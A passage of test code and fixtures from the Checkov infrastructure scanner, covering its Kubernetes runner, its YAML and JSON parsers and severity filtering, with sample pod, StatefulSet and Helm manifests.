report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 2 assert len(k8s_report.passed_checks) == 68 assert len(k8s_report.failed_checks) == 21 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_deployment_config_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "deployment_config.yaml" image_name = "rhel7/rhel-tools" code_lines = "10-26" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 2 assert len(k8s_report.passed_checks) == 65 assert len(k8s_report.failed_checks) == 14 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_job_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "job.yaml" image_name = "perl:5.34.0" code_lines = "1-14" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 1 assert len(k8s_report.passed_checks) == 69 assert len(k8s_report.failed_checks) == 17 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_pod_template_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "pod_template.yaml" image_name = "alpine" code_lines = "1-14" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 1 assert len(k8s_report.passed_checks) == 65 assert len(k8s_report.failed_checks) == 13 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_replica_set_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "replica_set.yaml" image_name = "gcr.io/google_samples/gb-frontend:v3" code_lines = "15-22" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 2 assert len(k8s_report.passed_checks) == 69 assert len(k8s_report.failed_checks) == 20 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_replication_controller_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "replication_controller.yaml" image_name_1 = "busybox" image_name_2 = "quay.io/pires/docker-elasticsearch-kubernetes:5.6.2" code_lines_1 = "10-59" code_lines_2 = "10-59" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 2 assert len(k8s_report.passed_checks) == 67 assert len(k8s_report.failed_checks) == 22 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 2 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_stateful_set_resources(mocker: MockerFixture, graph_framework): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "stateful_set.yaml" image_name_1 = "cockroachdb/cockroach-k8s-init:0.2" image_name_2 = "cockroachdb/cockroach:v1.1.0" code_lines_1 = "14-100" code_lines_2 = "14-100" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 k8s_report = next(report for report in reports if report.check_type == CheckType.KUBERNETES) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(k8s_report.resources) == 2 assert len(k8s_report.passed_checks) == 69 assert len(k8s_report.failed_checks) == 20 assert len(k8s_report.skipped_checks) == 0 assert len(k8s_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 2 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 ================================================ FILE: tests/kubernetes/parser/__init__.py ================================================ ================================================ FILE: tests/kubernetes/parser/examples/json/mongo-pod.json ================================================ { "kind": "Pod", "apiVersion": "v1", "metadata": { "name": "mongo", "labels": { "name": "mongo", "role": "mongo" } }, "spec": { "volumes": [ { "name": "mongo-disk", "gcePersistentDisk": { "pdName": "mongo-disk", "fsType": "ext4" } } ], "containers": [ { "name": "mongo", "image": "mongo:latest", "ports": [ { "name": "mongo", "containerPort": 27017 } ], "volumeMounts": [ { "name": "mongo-disk", "mountPath": "/data/db" } ] } ] } } ================================================ FILE: tests/kubernetes/parser/examples/json/normal.json ================================================ { "id": "0001", "type": "donut", "name": "Cake", "ppu": 0.55, "batters": { "batter": [ { "id": "1001", "type": "Regular" }, { "id": "1002", "type": "Chocolate" }, { "id": "1003", "type": "Blueberry" }, { "id": "1004", "type": "Devil's Food" } ] }, "topping": [ { "id": "5001", "type": "None" }, { "id": "5002", "type": "Glazed" }, { "id": "5005", "type": "Sugar" }, { "id": "5007", "type": "Powdered Sugar" }, { "id": "5006", "type": "Chocolate with Sprinkles" }, { "id": "5003", "type": "Chocolate" }, { "id": "5004", "type": "Maple" } ] } ================================================ FILE: tests/kubernetes/parser/examples/yaml/busybox.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: test: liveness name: liveness-exec spec: containers: - name: liveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 readinessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 ================================================ FILE: tests/kubernetes/parser/examples/yaml/busybox_utf8_bom.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: test: liveness name: liveness-exec spec: containers: - name: liveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 readinessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 ================================================ FILE: tests/kubernetes/parser/examples/yaml/helm.yaml ================================================ {{- if and .Values.auth.enabled (not .Values.auth.existingSecret) -}} apiVersion: v1 kind: Secret metadata: name: {{ template "common.names.fullname" . }} namespace: {{ .Release.Namespace | quote }} labels: {{- include "common.labels.standard" . | nindent 4 }} {{- if .Values.commonLabels }} {{- include "common.tplvalues.render" ( dict "value" .Values.commonLabels "context" $ ) | nindent 4 }} {{- end }} {{- if .Values.commonAnnotations }} annotations: {{- include "common.tplvalues.render" ( dict "value" .Values.commonAnnotations "context" $ ) | nindent 4 }} {{- end }} type: Opaque data: redis-password: {{ include "redis.password" . | b64enc | quote }} {{- end -}} ================================================ FILE: tests/kubernetes/parser/examples/yaml/helm2.yaml ================================================ --- layout: null --- {% helm %} datastore: kubernetes network: something vxlan: true {% endhelm %} ================================================ FILE: tests/kubernetes/parser/examples/yaml/normal.yaml ================================================ --- # An employee record name: Martin D'vloper job: Developer skill: Elite employed: True foods: - Apple - Orange - Strawberry - Mango languages: perl: Elite python: Elite pascal: Lame education: | 4 GCSEs 3 A-Levels BSc in the Internet of Things ================================================ FILE: tests/kubernetes/parser/examples/yaml/not_helm_configmap.yaml ================================================ apiVersion: v1 kind: ConfigMap metadata: name: application-properties data: application.properties: | setting = {{ not_a_helm_template }} env = test ================================================ FILE: tests/kubernetes/parser/test_k8_json.py ================================================ from pathlib import Path from checkov.kubernetes.parser.k8_json import load EXAMPLES_DIR = Path(__file__).parent / "examples" def test_load_pod(): # given file_path = EXAMPLES_DIR / "json/mongo-pod.json" # when template, file_lines = load(file_path) # then assert len(template) == 1 assert template[0]["apiVersion"] == "v1" assert template[0]["kind"] == "Pod" assert len(file_lines) == 40 def test_load_not_k8s_file(): # given file_path = EXAMPLES_DIR / "json/normal.json" # when template, file_lines = load(file_path) # then assert template == [{}] assert file_lines == [] ================================================ FILE: tests/kubernetes/parser/test_k8_valicator.py ================================================ import pytest from checkov.kubernetes.parser.validatior import K8sValidator @pytest.fixture def template_valid_fields(): return { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "nginx-demo" }, "spec": { "containers": [ { "name": "nginx", "image": "nginx:1.14.2", "ports": [ { "containerPort": 80 } ] } ] } } @pytest.fixture def template_invalid_name(): return { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "nginx-demo" }, "spec": { "containers": [ { "name": "#{nginx}", "image": "nginx:1.14.2", "ports": [ { "containerPort": 80 } ] } ] } } def test_k8s_template_has_required_fields(template_valid_fields): is_valid, reason = K8sValidator.is_valid_template(template_valid_fields) assert is_valid def test_k8s_template_is_name_valid(template_invalid_name): is_valid, reason = K8sValidator.is_valid_template(template_invalid_name) assert not is_valid ================================================ FILE: tests/kubernetes/parser/test_k8_yaml.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.parser.k8_yaml import load EXAMPLES_DIR = Path(__file__).parent / "examples" class TestScannerRegistry(unittest.TestCase): def test_load_pod(self): # given file_path = EXAMPLES_DIR / "yaml/busybox.yaml" # when template, file_lines = load(file_path) # then assert len(template) == 1 assert template[0]["apiVersion"] == "v1" assert template[0]["kind"] == "Pod" assert len(file_lines) == 28 def test_load_not_k8s_file(self): # given file_path = EXAMPLES_DIR / "yaml/normal.yaml" # when template, file_lines = load(file_path) # then assert template == [{}] assert file_lines == [] def test_load_helm_template_file(self): # given file_path = EXAMPLES_DIR / "yaml/helm.yaml" # when template, file_lines = load(file_path) # then assert template == [{}] assert file_lines == [] def test_load_helm_vars_file(self): # given file_path = EXAMPLES_DIR / "yaml/helm2.yaml" # when template, file_lines = load(file_path) # then assert template == [{}] assert file_lines == [] def test_load_utf8_bom_file(self): # given file_path = EXAMPLES_DIR / "yaml/busybox_utf8_bom.yaml" # when template, file_lines = load(file_path) # then assert len(template) == 1 assert template[0]["apiVersion"] == "v1" assert template[0]["kind"] == "Pod" assert len(file_lines) == 28 def test_load_templating_configmap(self): # given file_path = EXAMPLES_DIR / "yaml/not_helm_configmap.yaml" # when template, file_lines = load(file_path) # then assert len(template) == 1 assert template[0]["apiVersion"] == "v1" assert template[0]["kind"] == "ConfigMap" assert len(file_lines) == 8 if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/runner/__init__.py ================================================ ================================================ FILE: tests/kubernetes/runner/list_annotation/example.yaml ================================================ apiVersion: backstage.io/v1alpha1 kind: Location metadata: name: myName description: description annotations: - backstage.io/techdocs-ref: url:https://github.com/test/repo ================================================ FILE: tests/kubernetes/runner/resources/example.yaml ================================================ --- apiVersion: v1 kind: Service metadata: name: kafka-hs labels: app: kafka spec: ports: - port: 9093 name: server clusterIP: None selector: app: kafka ================================================ FILE: tests/kubernetes/runner/resources/example_multiple.yaml ================================================ --- # Source: a/templates/pod_disruption_budget.yaml --- apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: a namespace: a spec: maxUnavailable: 1 selector: matchLabels: app: a --- # Source: a/templates/service.yaml apiVersion: v1 kind: Service metadata: name: a labels: app: a owner: core helm.sh/chart: a-0.0.0 app.kubernetes.io/instance: release-name app.kubernetes.io/managed-by: Tiller version: "a" CostProduct: a CostTech: "k8s" spec: ports: - protocol: TCP port: 80 targetPort: 8000 selector: app: a --- # Source: a/templates/deployment.yaml --- --- # Source: a/templates/cron_job.yaml ================================================ FILE: tests/kubernetes/runner/resources/graph.yaml ================================================ apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra:v13 imagePullPolicy: Always securityContext: capabilities: add: - IPC_LOCK --- apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/runner/test_runner.py ================================================ import dis import inspect import os import unittest from collections import defaultdict from pathlib import Path from parameterized import parameterized_class from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.runner_filter import RunnerFilter from checkov.kubernetes.runner import Runner from checkov.kubernetes.checks.resource.registry import registry @parameterized_class([ {"db_connector": NetworkxConnector}, {"db_connector": RustworkxConnector} ]) class TestRunnerValid(unittest.TestCase): def setUp(self) -> None: self.orig_checks = registry.checks def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.KUBERNETES) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") external_checks = os.path.join(current_dir, '..', 'graph', 'checks', 'test_checks') runner = Runner(db_connector=self.db_connector()) filter = RunnerFilter(framework=['kubernetes'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.KUBERNETES: Severities[BcSeverities.OFF]} # load the test graph checks because there are no k8s graph checks at the moment, but we need to test that the graph registry knows what type it is report = runner.run(root_folder=scan_dir_path, external_checks_dir=[external_checks], runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_K8S_21'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kubernetes'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_abs_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources") dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') dir_abs_path = os.path.abspath(scan_dir_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_K8S_21'] report = runner.run(root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kubernetes'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_relative_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "example.yaml") # this is the relative path to the file to scan (what would actually get passed to the -f arg) file_rel_path = os.path.relpath(scan_file_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_K8S_21'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework='kubernetes', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_relative_path_with_abs_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "example.yaml") file_rel_path = os.path.relpath(scan_file_path) file_abs_path = os.path.abspath(scan_file_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_K8S_21'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path], runner_filter=RunnerFilter(framework='kubernetes', checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the CFN runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_list_metadata_annotations(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "list_annotation", "example.yaml") file_rel_path = os.path.relpath(scan_file_path) runner = Runner(db_connector=self.db_connector()) try: runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework='kubernetes')) except Exception: self.assertTrue(False, "Could not run K8 runner on configuration") def test_wrong_check_imports(self): wrong_imports = ["arm", "cloudformation", "dockerfile", "helm", "serverless", "terraform", "kustomize"] check_imports = [] checks_path = Path(inspect.getfile(Runner)).parent.joinpath("checks") for file in checks_path.rglob("*.py"): with file.open() as f: instructions = dis.get_instructions(f.read()) import_names = [instr.argval for instr in instructions if "IMPORT_NAME" == instr.opname] for import_name in import_names: wrong_import = next((import_name for x in wrong_imports if x in import_name), None) if wrong_import: check_imports.append({file.name: wrong_import}) assert len(check_imports) == 0, f"Wrong imports were added: {check_imports}" def test_parse_with_empty_blocks(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "example_multiple.yaml") file_rel_path = os.path.relpath(scan_file_path) runner = Runner(db_connector=self.db_connector()) try: report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework='kubernetes')) # just check that something was parsed and scanned self.assertGreater(len(report.failed_checks) + len(report.passed_checks), 0) except Exception: self.assertTrue(False, "Could not run K8 runner on configuration") def test_record_includes_severity(self): custom_check_id = "CKV_MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseK8Check): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.KUBERNETES], ["Service"] ) def scan_spec_conf(self, conf): return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['kubernetes'], checks=[custom_check_id]) ) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_record_check_severity(self): custom_check_id = "CKV_MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseK8Check): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.KUBERNETES], ["Service"] ) def scan_spec_conf(self, conf): return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.MEDIUM] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['kubernetes'], checks=['LOW']) ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_record_check_severity_omit(self): custom_check_id = "CKV_MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseK8Check): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.KUBERNETES], ["Service"] ) def scan_spec_conf(self, conf): return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.MEDIUM] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['kubernetes'], checks=['HIGH']) ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def test_record_check_skip_severity(self): custom_check_id = "CKV_MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseK8Check): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.KUBERNETES], ["Service"] ) def scan_spec_conf(self, conf): return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.HIGH] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['kubernetes'], skip_checks=['MEDIUM']) ) all_checks = report.failed_checks + report.passed_checks self.assertTrue(any(c.check_id == custom_check_id for c in all_checks)) def test_record_check_skip_severity_omit(self): custom_check_id = "CKV_MY_CUSTOM_CHECK" registry.checks = defaultdict(list) class AnyFailingCheck(BaseK8Check): def __init__(self, *_, **__) -> None: super().__init__( "this should fail", custom_check_id, [CheckCategories.KUBERNETES], ["Service"] ) def scan_spec_conf(self, conf): return CheckResult.FAILED check = AnyFailingCheck() check.severity = Severities[BcSeverities.LOW] scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "resources", "example.yaml") report = Runner(db_connector=self.db_connector()).run( None, files=[scan_file_path], runner_filter=RunnerFilter(framework=['kubernetes'], skip_checks=['MEDIUM']) ) all_checks = report.failed_checks + report.passed_checks self.assertFalse(any(c.check_id == custom_check_id for c in all_checks)) def tearDown(self): registry.checks = self.orig_checks get_graph_checks_registry("kubernetes").checks = [] if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/test_base_registry.py ================================================ import unittest from typing import Optional from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severity, Severities, BcSeverities from checkov.kubernetes.checks.resource.base_registry import Registry from checkov.runner_filter import RunnerFilter class TestCheck: def __init__(self, id: str, bc_id: Optional[str] = None, severity: Optional[Severity] = None): self.id = id self.bc_id = bc_id self.severity = severity class TestRunnerFilter(unittest.TestCase): def test_run_by_id_default(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=[]) check = TestCheck('CKV_1') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_specific_enable(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["CKV_1"], skip_checks=[]) check = TestCheck('CKV_1') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_severity(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["LOW"], skip_checks=[]) check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW]) self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_severity_omitted(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["HIGH"], skip_checks=[]) check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW]) self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_severity_implicit(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["LOW"], skip_checks=[]) check = TestCheck('CKV_1', severity=Severities[BcSeverities.HIGH]) self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_skip_severity(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["LOW"]) check = 